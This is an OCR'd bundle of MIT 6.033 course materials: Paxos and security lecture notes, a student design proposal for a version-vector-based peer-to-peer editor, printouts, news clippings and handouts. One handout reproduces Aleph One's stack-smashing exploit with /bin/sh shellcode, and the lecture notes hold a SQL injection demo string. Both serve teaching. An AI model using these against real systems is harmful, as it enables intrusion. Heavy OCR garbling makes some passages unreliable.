Second proposer tries to agree on a new value y.
Gets Prepare OK with first proposer's value.
Re-sends Accept messages with first proposer's value.

Key point: proposer conservatively uses a previous value from Prepare_OK().
Even if just one acceptor got it: could be the 1 overlap between majorities.

What happens if acceptor fails after accepting, before sending Accept OK?

Without a majority of acceptors left, must wait for acceptor to recover.
Acceptors must record Na/Va persistently on disk.

What happens if acceptor fails after sending Prepare_OK?

Also need to remember Np persistently on disk.
Otherwise, example 1 fails if all acceptors reboot: should not accept (10, x).

In practice, Paxos typically not used to agree on every single operation.
Instead, Paxos usad to agree on who is the nsw coordinator (+ some extras).
Coordinator can efficiently order requests (e.g., ocur simple RSM design).
When coordinator seems to be down, use Paxos to agree on new state.

Must also use Paxos to agree to some extra information:
- Set of all replicas, for when we need to elect the next coordinator.
- Last operation executed by the current (dead) coordinator, so we
don't lose track of it during switchover.
Can also add replicas at runtime: just agree on new replica set.
Need a way to transfer log state to the new replica.

[ slide: summary ]

http://web.mit.edu/6.033/www/lec/120.txt

4/29/2012 3:08 PM
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Introduction

Users would like to collaborate on a text document without using a central server or
needing to be online all the time. We propose the design of DecentralizedDocs, a peer-to-
peer text editor, which fulfills this demand. DecentralizedDocs allows users to edit text
offline and then reconcile the text with their teammates. It supports both written text and
code.

DecentralizedDocs requires that each machine has a unique machine name.

Data Structure

The basic unit of the document is a line. In code this is simply one line of code, butin a
written text document, one line is equivalent to a paragraph when word wrap is enabled.
Lines are broken up by \n characters. Line structures contain a reference to the text in the
line, an index showing the line's position in the document, and a unique ID. This line ID is
the hash of the current timestamp and machine name, making it effectively random. Lines
have the following code:

struct Line {
long id;
char* text;
int position;
VersionVector text version_vector;

\ f
VersionVector position version vector; SU (@ﬂgV ”0&3 An Ve?y@1

} Vedr
Each line has two version vectors associated with it; one for the text field and the other for
the position field. Version vectors contain version numbers for each user. Version numbers

start at 0. Version vectors have this code:

struct VersionVector
int version counters([N]; // N is the number of collaborators
// Position n corresponds with collaborator n

} (
. | |  Jdoay pogy

When the text of a Line is edited, text is updated. When the line is moved, position is &

updated. Every time a variable Is changed, its corresponding version vector is incremented

at the position corresponding to the changer. DecentralizedDocs stores documents in

memory as linked lists of Lines. To save documents on disk, it serializes the linked lists. Q

Figure 1 shows a graphical representation of the data structure. qu(:%{o
d(r
((/ 14
e

( (
| Shorl floodim o4t I, 4 i



The document (as seen by the user) The document (as Lines in memory)

This is a paragraph in the document. I RT id- 34314

text: “..°

position: ¢

text_version_vector. <2, 3, 1>
position_version_vector: <1, 1, 2=

This is a second paragraph. Note that it is possible
for lines to wrap around.

id: 14255

text: ".."

pasition: 1

text_version_vector: <3, 5, 9>
position_version_vector: <1, 1, 3>

Figure 1. The data structure. The user sees a continuous block of text, but lines are
stored in their own structures internally.

Reconciliation

When two users are connected over the same network, DecentralizedDocs will
automatically reconcile their data. The system only supports pair-wise reconciliation. In
larger networks, pairs will reconcile individually until the entire network reaches
equilibrium.

We define an operation called “pull”. When Alice pulls from Bob, Bob sends Alice his linked

list of Lines. Alice adds to her document all Lines that were newly created in Bob's version,

then compares all of her version vectors with Bob's. If one version vector is temporally

later than the other (all of its components are greater than or equal to the other vector's),

then that vector's corresponding variable will be used in the merged document. If the i
version vectors are concurrent, then DecentralizedDocs compares the two changed (
variables. If they are the same (both users made the same change), it automatically accepts (Oﬂ(%fd
that change; otherwise, it asks Alice to resolve the conflict. At the end of the pull, Alice's

version vectors are updated to contain the latest version number between her and Bob at

all components.

A "sync” can be implemented as two pulls wrapped in a transaction: first Alice pulls from
Bob (possibly with manual resolution), then Bob pulls from Alice (completely automatic;
after the first pull, all of Alice's version vectors are strictly newer than Bob's). After the
sync, Alice and Bob have identical documents and version vectors. If at any point during the
sync the connection or one host fails, the sync is aborted and all changes are rolled back.

If Alice edits sentence x of a Line while Bob edits sentence y (two changes to the same text
variable), DecentralizedDocs considers this to be a conflict requiring manual resolution.
While it is possible to create a merged line containing Alice's sentence x and Bob's sentence
¥, doing so may create a paragraph that is semantically invalid. Merging in this case could



be especially harmful in languages other than English. We think silently writing such a \/Q/
paragraph to the document is not user-friendly, and choose to alert our users instead. ZMJ
Ul of Text Editor 2

Users can save a document, writing it to disk as in any other editor. They can also perform a /
commit, which creates a version of the document (with a name provided by the user), and Ll . {,[

e o . 0w W
makes it visible to other users (?? this needs work)

The document reconciles when clicks the save/refresh button. When the button is pressed, \P“’ Jﬂ/
the document attempts to reconcile. (what does this mean for our deigns - how to handle a i& ‘
user not clicking the button - who does it connect to - how to control this?)

The text editor does not support showing the cursor of the other people editing.

Conflict Resolution Ul

When the system encounters concurrent version vectors, it is not able to reconcile the
changes by itself, so it will present a conflict resolution user interface dialog. Once conflicts
are resolved between users, those who share a version of the files involved with the conflict
will be automatically updated when they are online.

Scenarios

Our design for a Peer-to-Peer text editor supports various scenarios.
If two users each make changes to different paragraphs, the system will take the latest
version of each paragraph without conflict.

If two users both change the same line differently, we recognize the possibility that the two
changes together produces incorrect semantics, and ask for conflict resolution. If both
users make the same change, those changes will be processed without conflict. The
resolved line will have its version vector incremented at the index for the user who made
the pull, preventing double-reconciliation.

If a user moves a line, and another user edits that line, those changes will be reconciled
without conflict because they involve different variables.

Committing
The commit system is two-phase. Commits occur between a pair of users in the system.

When a user attempts to commit, the system will check the online status of the user. If he’s
online he will see the initiator’s request to commit. In the case that the user is offline, the
message will be stored so that it appears once his status changed to online. (Rahul - noun
ambiguity here, is “the user” the committer, or one of his collaborators who needs to
approve the commit?)

The user must agree to the commit before it occurs. Disagreement causes the process to
abort. Should agreement occur, a log (in .txt format) will be updated to reflect this via
checkpoint. The specific changes agreed to will also be logged.



In the event that several users want to synchronize their versions of a file, there is a
multiple commit mode, as well as an all commit mode. All commit mode involves all
members, while multiple commit mode involves only those the user initiating the commit
includes. (Rahul - We are allowed to require that everyone be online to do a commit, so you
might be making the problem harder)

When multiple commits are being made, the first time a user says “No” to the commit, the
process will be aborted. In the event that all users involved agree to commit, a log will be
updated just as mentioned previously. (Rahul - As per the specification, a “No” should also
automatically be triggered if there are any unmerged changes, just add a line saying that we
check these - you can do this by looking for concurrent version vectors).

In the event that the commit has been agreed to by all parties but some are offline, the
users that are online will have their files updated. Those who are offline will be updated
upon coming back online. Once all the users’ files are updated, the commit will have taken
place.

For the sake of simplicity, only one commit at a time can be initiated.



Version vector - Wikipedia, the free encyclopedia http://en.wikipedia.org/wiki/Version_vector

Version vector

From Wikipedia, the free encyclopedia

A version vector is a mechanism for tracking changes to data in a distributed system, where multiple agents might update the data at different times. The
version vector allows the participants to determine if on€ update preceded another (happened-before), followed it, or if the two updates happened

concurrently (and therefore might conflict with each other). In this way, version vecio lity tracking among datarep ic
mechanism for optimistic replication. In mathematical terms, the version vector generates a preorder that tracks the events that precede, and may
therefore influence, later updates.

Version vectors maintain state identical to that in a vector clock, but the update rules differ slightly; in this example, replicas can either experience local
updates (e.g., the user editing a file on the local node), or can synchronize with another replica: 7~

= Initially all vector counters are zero. 60 a/ b a(€ ¢ )J/‘ vhw ( id Q/(Icg’ bﬂb {/‘

= Cach time a replica experiences a local update event, it increments its own cofinteT in the’vector by one. —_—
= Each time two replicas @ and }, synchronize, they both set the elements i their copy of the vector o e maximum of the element across both
counters: 1, [x] = V,[x] = max(V,[z]. V}[x]) After synchronization, the two replicas have identical version vectors.

Pairs of replicas, «, [, can be compared by inspecting their version vectors and determined to be either: identical (¢ = };), concurrent (¢ ; D), or ordered
(< hor] < q) The ordered relation is defined as: Vector ; < J; if and only if every element of 1/, is less than its corresponding element in 1/}, and at
least one of the elements is strictly less than. If neither ¢ <= [ or ) <= ¢, but the vectors are not identical, then the two vectors must be concurrent.

Version vectors!'! or variants are used to track updates in many distributed file systems, such as Coda (file system) and Ficus, and are the main data
. e 5 5 3
structure behind optimistic replication (21,

Other Mechanisms 50 bab}@”? ZM’F -f‘{""/ -h‘l Of@/ P%M ‘//01”4(/

Hash Histories ') avoid the use of counters by keeping a set of hashes of each updated version and comparing those sets by set inclusion. However
this mechanism can only give probabilistic guaranties.

Concise Version Vectors (] allow significant space savings when handling multiple replicated items, such as in directory structures in filesystems.

Version Stamps (5 allow tracking of a variable number of replicas and do not resort to counters. This mechanism can depict scalability problems in
some settings, but can be replaced by Interval Tree Clocks.

Interval Tree Clocksl®! generalize version vectors and vector clocks and allows dynamic numbers of replicas/processes.
Bounded Version Vectors /) allow a bounded implementation, with bounded size counters, as long as replica pairs can be atomically synchronized.
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hitps://dl-web.dropbox.com/get/6.033 DP2/version_vector notes.txt?...

ol v ke Vesion oo

Version vector (algorithm and examples)

EsssEsssssssssssssssSSSssSoSSomsSooEz==

- Not all of these notes may appear in the proposal because of space
- constraints, but they should be useful for the final project.

- Lines (2 mutable fields):
- text
- position

- Algorithm:
1. Keep a version vector for every Line (managing both text and position)
2. Keep 2 version vectors for evey Line, one for text, the other for position

= I think this lets the version vectors handle some cases we'd have to do 3
manually if we did 1. S ?

Examples (using 2) ( 6 0 07

/
(Vi %ﬁ)
Some simple scenarios B/ ﬂ r

1. One person's version vector is strictly newer than the other's
- Travis confirms here that simply taking the newer version is safe. — ;? =
2. Alice and Bob both edit a line's text, leaving position alone (6 /00 g 7 D 7
- A's VV is newer than B's at >= 1 index, and B's VV is newer at »= 1 index ! / f
(they will be indices A and B if the edit was direct) eJé_
(if A edited, and B pulled a change from C, then B's VV will be newer than
A's at the C index, so we still fall into this case)

- def merge_concurrent():
if A's text == B's text:
just take either one (
else: t
prompt for user inputg\ M {W L\Wwf (2
sync version vectors
3. A and B both move a line, leaving position alone
- analogous to 2
4. Alice adds a line, then syncs with Bob
- Alice's version vector for the line will be <n, 0, ... ,0> where n.is her
version counter, Bob will not have a version vector
- Consider absence of a VV to be <0, 0, ... 0>, then this is case 1, and Bob
simply takes Alice's version.
- Positioning: When Alice adds the new line, all lines after it in her document
have their position bumped by 1
- EDGE CASE: Alice bunPs a Line's position by 1 when adding a new line, Bob
moves the same line, this shouldn't be a conflict....
- Solution: when merging, Bob processes Alice's adds before any of her
changes, and bumps positions on his before???
- I'm stuck on this case, do we need to handle it??
- Idea: allow positions to be decimals, when Alice adds a line between
lines 2 and 3, make the new line's position 2.5, is that messy??

Scenarios from the DP2 Assignment:
1. Alice and Bob add text in different paragraphs (let's say Alice edits
paragraphs 4 and 7, Bob edits 14 and 17) and they both edit the intro
(paragraph 1)
- 4 and 7 - Alice's VV for text is strictly newer - Bob takes Alice's
- 14 and 17 - similar - Alice takes Bob's
-1 - only VV conflict, manual resolution
- Success!

2. Bob, online w/ Alice, changes a sentence (say it's in paragraph 4). Offline,
Charlie changes paragraph 4 in a different way. Later, Alice and Charlie
sync, and resolve the conflict (both have resolved one now). Then, later
charlie syncs with Bob, they should not conflict.

- Beforehand (VV's are <Alice, Bob, Charlie>, for th= text of paragraph 4),

sveryone i;SyTde'édﬁceé Ao of fle f&)f' sl oah pocson, /nm{@

B's VW = <5, 6,

C's VW = <5, 6, 4> I /
- Then Bob and Charlie make changes simultaneously: (Ce L

A's VV =
B's VW =
C's W =

- Bob syncs WL (iace (B is strictly newer than A, so A accepts B's changes)

A's VW = <5,
B's VW = <5,
C's VW = <5, 6 5>

- Now, A and C's VVs are cdncurrent. When Alice and Charlie try to sync, they
(correctly) see a confliqt, and Alice resolves it. At that point, A and C's

VV's sync . M _Tk/ l I ‘{,.' é J/‘W
A's VWV = e Ty 58 . g v

B's VV = <5, . 4> Sm n VU hﬂ) 6{“ 7 ll " 7
C's VW = <6,(z) 5> CE(Z}D 't

- The manual “onflict resolution is a change made by Alice, so her VV index / b@ {"ﬂ 4.

is incremented
- Finally, C and B try to sync up. C's VV is strictly newer than B's, so Bob
accepts Charlie's version without conflict.
A's VW = <6, 7, 5>

e B Te (o of Peobib G
A s laoes albast

4/25/2012 11:52
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https://dl-web.dropbox.com/get/6.033 DP2/version_vector_notes.txt?...

- Success!

3. Alice moves paragraphs 3 and 5, and Bob edits paragraph 3. Later they sync;
no conflict resolution should be required
- Alice moving paragraphs 3 and 5 updates the VVs for paragraph 3 and 5's
indices.
- Bob editing paragraph 3 updates the VV for paragraph 3's text.
- For all 3 VW's in the merge, one user's is strictly newer than the other.
- Success!

4. Alice and Bob correct an error in the same way.

- merge_concurrent () checks for this case, and does not prompt if it happens.
- Success!

20f2 4/25/2012 11:52 PM



Piazza Dashboard http://piazza.con/class#

question 10 views

\ersion Vectors

I'm still confused what each person's VV means -d:z

A's W =<5, 6, 4>
B's VV = <5, 6, 4>
Cs\VW==<5 6, 4>
So this is like a matrix (i.j) where iis the col and j is the row.

So (1,2) is what? Alice's view on Bob's latest revision? The lasl revision Bob made that Alice knows about? The last of Bob's edits that Alice knows about?

edit stopfollowing 3  like 0

55 minutes ago by Michael Plasieler 3 edits +

the students' answer, where students collectively construct a single answer

Click to start off the students' answer

the instructors' answer, where instructors collectively constiuct a single answer

I don't know when you say (1,2) if you are talking about 0 indexed matrices or 1 indexed matrices. Assuming you mean the second column of A's VV, this is Alice's
view of Bob's version of the document - so this represents the last change that Bob made for which Alice has applied the change.

like 0

6 minutes agoby |

followup discussions, for lingering questions and comments

* Resolved * Unresolved

Vlaz  Michael Plasmelr (5 minutes ago) - The only relevant comparison is up and down columns? Across rows is not relevant?

L T

< {Instructor) {Just now) - Yes, the comparison is across columns

Write a reply...

lof1 4/26/2012 2:40 AM
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6.033 2012 Lecture 21: Security intro

Topics:
Computer security challenges.
Threat models.
Guard model.

Where are we in the course?
Previous lectures: know how to build reliable systems, despite failures,
Next few lectures: build systems that can deal with malicious attacks.
Security: upholding some goal despite actions by adversary.

Attacks happen often.
Lets of personal info stolen.
[ slide: attackers broke into server w/ ~B800K records on Utah patients )
Phishing attacks.
[ slide: users at ORNL tricked by phishing email about benefits from HR )
Millions of PCs are under control of an adversary, called a botnet.
[ slide: botnet |
Stuxnet infected Iran's uranium processing facilities.
[ slide: stuxnet |

Real world vs. computer security.
Security in general not a particularly new concern.
Banks, military, legal system, etc have always worried about security.
Similarities with computer security:
Want to compartmentalize (different keys for bike vs. safe deposit box).
Log and audit for compromises.
Use legal system for deterrence.
Significant differences with computer security:
Internet makes attacks fast, cheap, and scalable.
Huge number of adversaries: bored teenagers, criminals worldwide, etc.
Adversaries are often anonymous: no strong identity on the internet.
Adversaries have lots of resources (compromised PCs in a botnet).

Attacks can often be automated: systems compromised faster than can react.

Users sometimes have poor intuition about computer security.
E.g., misunderstand implications of important security decisions.

Why is security hard?

Security is a negative goal.

Want to achieve something despite whatever adversary might do.
Positive goal: "Frans can read grades.txt".

Ask Frans to check if our system meets this positive goal.
Negative goal: "John cannot read grades.txt".

Ask John if he can read grades.txt?

Good to check, but not nearly enough..

Must reason about all possible ways in which John might get the data.
How might John try to get the contents of grades.tuzt?

[ slides: many ways |

Q: when should we stop thinking of scenarios?
In general, cannot say that John will never get a copy of grades.txt.

We've seen negative goals already: all-or-nothing atomicity w/ crashes.
With crashes, just had to think of where we might crash.
Much harder to consider all possible cases with an adversary.
Security is also often hard because system has many complex goals.

Can we use fault-tolerance techniques to deal with adversaries?
One "failure" due to attack might be too many.
Disclosing grades file, launching rocket, etc.
Failures due to attack might be highly correlated.
In fault-tolerance, we generally assumed independent failures.
Adversary can cause every replica to crash in the same way.
Hard to reason about failure probabilities due to attacks.

How to make progress in building a secure system?
Be clear about goals: "policy".
Be clear about assumptions: "threat model".

Policy: goals,
Information security goals:
Privacy: limit who can read data.
Integrity: limit who can write data.
Liveness goals:
Availability: ensure service keeps operating.

Threat model: assumptions.
Often don't know in advance who might attack, or what they might do.
Adversaries may have different goals, techniques, resources, expertise.

Cannot be secure against arbitrary adversaries, as we saw with John vs. Frans.

Adversary might be your hardware vendor, software vendor, administrator,
Need to make some plausible assumptions to make progress.

What does a threat model look like?
Adversary controls some computers, networks (but not all).
Adversary controls some software on computers he doesn't fully control.
Adversary knows some information, such as passwords or keys (but not all).
Adversary knows about bugs in your software?
Physical attacks?

http://web.mit.edu/6.033/www/lec/12 1 .txt
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Social engineering attacks?

Resources? (Can be hard to estimate either resources or requirements!
Many systems compromised due to unrealistic / incomplete threat models.

Adversary is outside of the company network / firewall.

Adversary doesn't know legitimate users' passwords.

Adversary won't figure out how the system works.
Despite this, important to have a threat model.

Can reason about assumptions, evolve threat model over time.

When a problem occurs, can figure out what exactly went wrong, re-design.
Overly-ambitious threat models not always a good thing.

Not all threats are equally important.

Stronger requirements can lead to more complexity.

Complex systems can develop subtle security problems.

Guard model of security.
[ diagram: client, server, guard, resource ]
Client/server model; we are worried about security at the server.
Typically think of security goal as relating to some resource in server.
E.g., in a file server, resource might be the grades.txt file.
Server is responsible for checking all accesses to resource.
Consults a "gquard" to make the access control decision.
Complete mediation: only way to access the resource involves the guard.
1. Must enforce client-server modularity
Adversary should not be able to access server's resources directly.
E.g., assume OS enforces modularity, or run server on separate machine.
2. Must ensure server properly invokes the guard in all the right places.
==> Designs where complete mediation is inherent avoid many common pitfalls.

Designing the guard.
Two functions often provided by a guard:
AButhentication: request -> principal.
E.g., client's username, verified using password.
Authorization: (request, principal, resource} -> allow?
E.g., consult access control list (ACL) for resource.
Simplifies security: can consider the guards under threat model.
(But don't forget about complete mediation!)

Example systems in terms of our security model.
Unix file system.
Resource: files, directories.
Server: 0S8 kernel.
Client: process.
Requests: read, write system calls.
Mediation: U/K bit / system call implementation.
Principal: user ID.
Authentication: kernel keeps track of user ID for each process.
Authorization: permission bits & owner uid in each file's inode.
Typical web server running on Unix.
Resource: Wiki pages.
Client: any computer that speaks HTTP.
Server: web application, maybe written in Python.
Requests: read/write wiki pages.
Mediation: server stores data on local disk, accepts only HTTP regs.
Note: requires setting file permissions, etc;
assumes OS kernel provides complete mediation.
Principal: username.
Authentication: password.
Authorization: list of usernames that can read/write each wiki page.
Firewall.
Resource: internal servers.
Client: any computer sending packets.
Server: the entire internal network.
Requests: packets.
Mediation:
- internal network must not be connected to internet in other ways.
- no open wifi access points on internal network for adversary to use.
- no internal computers that might be under control of adversary.
Principal, authentication: none.
AButhorization: check for IP address & port in table of allowed connections.
Multiple instances of model typically present in any system.
Layering: Unix fs, web server, ..
Defense in depth: web server, firewall, ..

Model seems straightforward: what goes wrong?

1. Software bugs / complete mediation.
All ways to access resource must be checked by guard.
Common estimate: one bug per 1,000 lines of code.
Adversary may trick server code to do something unintended, bypass guard.

[ 3 slides: paymazx |

[ demo: SQL injection attack |
http://localhost/cgi-bin/lookup.cgi
Look up nickolai, kaashoek, shanir.
Try shanir' OR username="

In recitation tomorrow, more examples of software bugs bypassing mediation.

Dealing with software bugs / incomplete mediation.

Any component that can arbitrarily access a resource must invoke the guard.

E.g., lookup.cgi in the demo.

http://web.mit.eduw/6.033/www/lec/121.txt
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If component has a bug or design mistake, can lead to incomplete mediation.

General plan: reduce the number of components that must invoke the guard.
E.g., arrange for DB server to check permissions on records returned.
Then security does not depend as much on lookup.cgi.

In security terminology, often called "principle of least privilege".

Security jargon: privileged components are "trusted".
Trusted is bad: you're in trouble if & trusted component breaks.
Untrusted components are good: doesn't matter if they break.
Good design has few trusted components, other things don't affect security.

2. Policy vs. mechanism.
High-level policy is (ideally) concise and clear.
Security mechanisms (e.g., guards) often provide lower-level guarantees.
E.g., policy is that students cannot get a copy of grades.txt.
What should the permissions on the files be?
What should the firewall rules be?
Good idea: try to line up security mechanisms with desired policies.

3. Interactions between layers, components.
[ 3 slides: symlink problem ]

4. Users make mistakes.
Social engineering, phishing attacks.
Good idea: threat model should not assume users are perfect.

5. Cost of security.
Users may be unwilling to pay cost (e.g., inconvenience) of security measures.

E.g., system requires frequent password changes -=> users may write them down.

How far should 6.033 staff go to protect the grades file?
Put the file on a separate computer, to avoid sharing a file system?

Disconnect computer from the network, to avoid remotely exploitable 0S bugs?

Put the server into a separate machine room?
Get a guard to physically protect the machine room?

Good idea: cost of security mechanism should be commensurate with value.
Most security goals/policies not infinitely valuable, can tolerate attacks.
Security mechanisms can be expensive (e.g., wasted user time).

[ slide: summary )

http://web.mit.edw6.033/www/lec/121 txt
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Utah's Medicaid Data Breach Worse Than

Expected

Utah Department of Technology Services (DTS) reveals 780,000 individuals have been affected by
the theft of itive Medicaid information. That's far worse than initial estimates.

3y Nicole Le

A new tally of fies stored on a server that conained Mecicaid informaton at
the Utah Department of Technology Services {DTS) reveals that 780,000
individuals have been affected by the thelt of sensive information. That'

far worse than initial estimates.

The data breach occuried on March 30, when a configuraton errcr
occurred at the password authenfication level, aliowing the hacker, located
i Eastern Eurape, to circumvent DTS's security systemn.

rformadeniVeck

"The server was a lest server
and when it was pul into
production there was a
nisconfiguralion. Processes
were not followed and the
password was very weak,”
Stephanie Weiss.
spokesperson for DTS, olkd
InformationWeex Healthcare

Master's Degree
Programs For IT Pros
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¥ 1 Revengeful Compute..
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Revengeful Computer Hacker Sentenced to
Jail over Botnet Virus

A New Jersey besed federal court has punished an ex-computer
programmer with a 2-year imprisonment along with a 3-year
supervised liperation on charges that he developed a computer worm,
which contaminated approximetely 100,000 computers for building a
botnet. NetworkWorld published this on April 15, 2011,

Bruce Raisley, name of the programmer, reportedly has been proved
gullty of unleashing malevolent PC software created to strike PCs as
also websites that led to widespread destruction dunng September
2010,

State court documents that Raisley at one time voluntarily worked for
an organization -Perverted Justice, which was actively associated with
the TV program “To Catch a Predator,” whose sting operations are
known for capturing pedophiles.

Stated Raisley, he did wrong in posting the worm enline. However,
apologizing amid sobs, he said that he couldn't find any other
gltemative. Philly.com published this on April 16, 2011.

Actually, while working for Perverted Justice, Raisley, once, had
acrimony with Xavier von Erck the organization’s founder.
Consequently, he started articulating critically against the group.
Reacting angrily, Von Erck thought of teaching Raisley a lesson, so he
pretended to be a lady called Holy and appeared online. Raisley, who
became lured, arrenged to meet the non-existent lady and when was
face-to-face with har, a Perverted Justice volunteer captured the two
in a camera.




Computer worm used to sabotage
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Clues Suggest Stuxnet Virus Was Built for Subtle Nuclear
Sahotage
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Ways to access grades.txt

Change permissions on grades.txt to get access

Access disk blocks directly
Access grades.txt via web.mit.edu

Reuse memory after Frans's text editor exits, read data
Read backup copy of grades.txt from Frans's text editor

Intercept network packets to file server storing grades.txt

Send Frans a trojaned text editor that emails out the file

Steal disk from file server storing grades.txt

Get discarded printout of grades.txt from the trash
Call sysadmin, pretend to be Frans, reset his password

... when should we stop thinking of more ways?

paymaxx.com (2005)

https://my.paymaxx.com/

« Requires username and password

+ |f you authenticate, provides menu of options
+ One option is to get a PDF of your W2 tax form

https://my.paymaxx.com/get-w2.cgi?id=1234

+ Gets a PDF of W2 tax form for ID 1234

* simplified URLs

paymaxx.com (2005)

 hitps://my.paymaxx.com/
» Requires username and password
« If you authenticate, provides menu of options
» One option is to get a PDF of your W2 tax form

* simplified URLs

paymaxx.com (2005)

 https://my.paymaxx.com/

» Requires username and password
« |If you authenticate, provides menu of options
« One option is to get a PDF of your W2 tax form

« https://my.paymaxx.com/get-w2.cgi?id=1234
« Gets a PDF of W2 tax form for ID 1234
« get-w2.cgi forgot to check authorization

« Attacker manually constructs URLs to fetch all data

* simplified URLs



Layer interactions: naming

athena%s cd /mit/bob/project
athena%s cat ideas.txt
Hello world.

athena%

Layer interactions: naming

. , Bob changes ideas.txt |
athena% cd /mit/bob/project ’ inkmasygboﬁcﬂnkto

athena% cat ideas.txt 6.033's grades.txt
Hello world. i Laiaiia :

athéﬁa% mail alice@mit.edu < ideas.txt
athena%

Layer interactions: naming

athena% cd /mit/bob/project
athena% cat ideas.txt
Hello world.

athena% mail alice@mit.edu < ideas.txt
athena%

Summary

« Security is a negative goal — hard to achieve
* Policy: desired goal
* Threat model: assumptions about what can go wrong

¢ Guard model

* Authentication
* Authorization
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Preparation for Recitation 21

For today, read the paper by Jonathan Pincus and Brandon Baker, Beyond stack smashing: recent advances in

exploiting buffer overruns. —_—
— LSaamaessS

Stack smashing is one of the most frequent attacks used on computer systems that run software written in the C
programming language (sce sidebar 11-4 on page 11-751 of the class notes). Most simple attacks won't work
anymore, but attackers have come up with more sophisticated versions. This paper describes some of those
versions.

3

As you are reading the question, try to figure out, what is the root problem that allows stack smashing?

Whal b sig

Qs 7 {L‘“*’i \Jl Z(/L

Questions or comments regarding 6,0337 Send e-mail to the 6,033 staff at 6.033-staff@mit.edu or to the 6.033 TAs at 6.033-tas@mit.edu.

Top // 6.033 home //

4/28/2012 6:08 PM



void function(lnt a,
int *ret;

ret = &ret + 2;
(*ret) += 10;

b T an( loc pmfgc[ L

void main{()

int 3;

’

X 0;
function
X 1;

£

(1,2,3):

printf ("%d\n",x);

int b
~uflocate fnm

& 15 gof wama'y add css o(

int &) |

by (o

function:
pushl
movl
subl

%ebp

%esp, %ebp

$4, %esp

; ret = &ret + 2

leal
addl
movl

;  (*ret)
movl
movl
movl
addl
movl

leave
ret

main:

0: pushl
1k movl
i subl

; x =0
6: movl

-4 (%ebp),
$8, %eax

$eax

%eax, -4 (%ebp)

+= 10;
-4( sebp) ,
4 (%3ebp) ,

$edx
eax

(%eax), %eax

$10, %eax

seax, (%edx)

; function(1,2,3)

13: pushl
15: pushl
17: pushl
19: ¢&gll
24: addl
pox=1
27: movl
; prigtf
34: pushl
pushl
call
addl
leave

=g o

zebp

%esp, %ebp
$8, %esp

$0, -4(%ebp)
$3

$2

$1

function
$12, %esp

Slr _4(%Ebp)

"od\.ﬂ" X)
-4 (%ebp)
$.LCO
printf
$8, %esp

; save old base pocinter
; init new base pointer
; allocate space for ret

; get address of ret into eax

: add 2 words to ret
; store eax back into ret

; get ret into edx

; and eax

; dereference ret

; add 10 to it

; and store back

; restore esp , ebp

;i pop return address + return

;i save old base pointer
; init new base pointer
; allocate space for x

;jmove (0 into x

; push args

; pop args

; move 1 into x

; push args

; call print
;i pop args

6 @33 %H@W
Handout

#1
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vulnerable

void main(int argc, char *argv([]) {
char buffer([512];

if (argc > 1)
strcpy (buffer,argv(l]);

gen exploit

#include <stdlib.h>

#define DEFAULT OFFSET 100
#define DEFAULT BUFFER SIZE 600

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\ x89\xFf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\ x80\xe8\xdc\xfE\xEf\xff/bin/sh";

unsigned long get sp(void) {
__asm__("movl %esp, %eax");

}

void main(int argc, char *argv([]) {
char *buff, *ptr;
long *addr ptr, addr;
int offset=DEFAULT OFFSET, bsize=DEFAULT BUFFER SIZE;

int i;

buff = malloc(bsize);

addr = get sp() - offset;
ptr = buff;

addr ptr = (leng *) ptr;

for (i = 0; i < bsize; i+=4)

* (addr_ptr++) = addr;

ptr += 4;

for (i = 0; 1 < strlen(shellcode); i++)
* (ptr++) = shellcode[i];

buff[bsize - 1] = '"\0';

memcpy (buff, "EGG=",4) ;
putenv (buff);
system("/bin/bash") ;

bash> ./gen_exploit
bash> ./vulnerable code S$EGG

Handout #2

Code samples from “Smashing The Stack For Fun And Profit” by Aleph One

Comments? Suggestions? Contact Sam Madden (madden@csail.mit.edu) May 2, 2006 3:43 PM
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6.033 2012 Lecture 22: Authentication, passwords.

Today: password case study.
Most systems use some form of passwords for authentication.
Will look at how different systems might use passwords.
Some failures, some good ideas.

Password goals.
Authenticate user.
Adversary must guess (for random B-letter passwords, ~26"87?).
Guessing is expensive.

Start simple: logging into an account on a shared computer system.

[ slide: simple password-based authentication ]

Problem: can guess the password one character at a time.
| diagram: allocate password 1 byte away from a page boundary, where the

next page is not mapped. page fault means first char is ok. )

Example of cross-layer interactions.

Problem: server has a copy of everyone's password.
If adversary exploits buffer overflow, can get a copy of all passwords,

Idea: instead of storing password, store a hash of the password.
{Cryptographic) hash functions: arbitrary strings to fixed-length output.
Common output sizes are 160 bits, 256 bits, ..
One-way: given H(x), hard to recover x.
Collision-resistant: hard to find different x and y such that H(x)=H{y).
Evolve over time: SHA-0 and MD-5 used to be popular, now considered broken.
[ slide: password hashing ]

Accounts database stores hash of every user's password.
Compute hash, check if the hash matches.
Solves not only the password theft problem, but also the page-fault attack.
[ demo )
% echo -n hello | shalsum
% echo -n helloworld | shalsum
% echo -n hello | shalsum

What happens if an adversary breaks into a popular web site with 1M accounts?
Adversary steals 1M hashes.
Problem: adversary can guess each password one-by-one.
Problem: worse yet, adversary can build table of hashes for common passwords.
Often called a "rainbow table".
Users are not great at choosing passwords, many common choices.
[ slide: password statistics ]
Important to think of human factors when designing security systems,
Not much we can do for users that chose "123456".
Plenty of bad passwords have numbers, uppercase, lowercase, etc.
What matters is the (un)popularity of a password, not letters/symbols.
But we can still make it a bit harder to guess less-embarrassing passwords.

Salting: make the same password have different hash values.
Makes it harder to build a pre-defined lookup table.
| slide: password hashing with salt ]
Choose random salt value when first storing the password (& store the salt).
Store hash of salt and password together.
Use the original salt to compute a matching hash when verifying password.
Every password has many possible hash values -> impractical to build table.
Typically, also want to use a much more expensive hash function.
For reference: look up "bcrypt" by Provos and Mazieres.
[ demo ]
% echo -n randomsalt:hello | shalsum
% echo -n othersalt:hello | shalsum
% echo -n randomsalt:hello | shalsum

Typical use of passwords: bootstrap authentication.
Don't want to continuously authenticate with password for every command.
Typing, storing, transmitting, checking password: risk of compromise.
In Unix, login process exchanges password for userid.
In web applications, often exchange password for a session cookie.
Can think of it as a temporary password that's good for limited time.

Strawman design for session cookies.
First check username and password.
If ok, send | username, expiration, H(serverkey || username || expiration) )
Note: this is only a sketch! Look up HMAC if you really want to do this.
Can use this tuple to authenticate user for some period of time.
Nice property: no need to store password in memory, or re-enter it often.
Serverkey is there to ensure users can't fabricate hash themselves.
Arbitrary secret string on server, can be changed (invalidating cookies).
Can verify that the username and expiration time is valid by checking hash.
Problem: the same hash can be used for different username/expiration pairs!
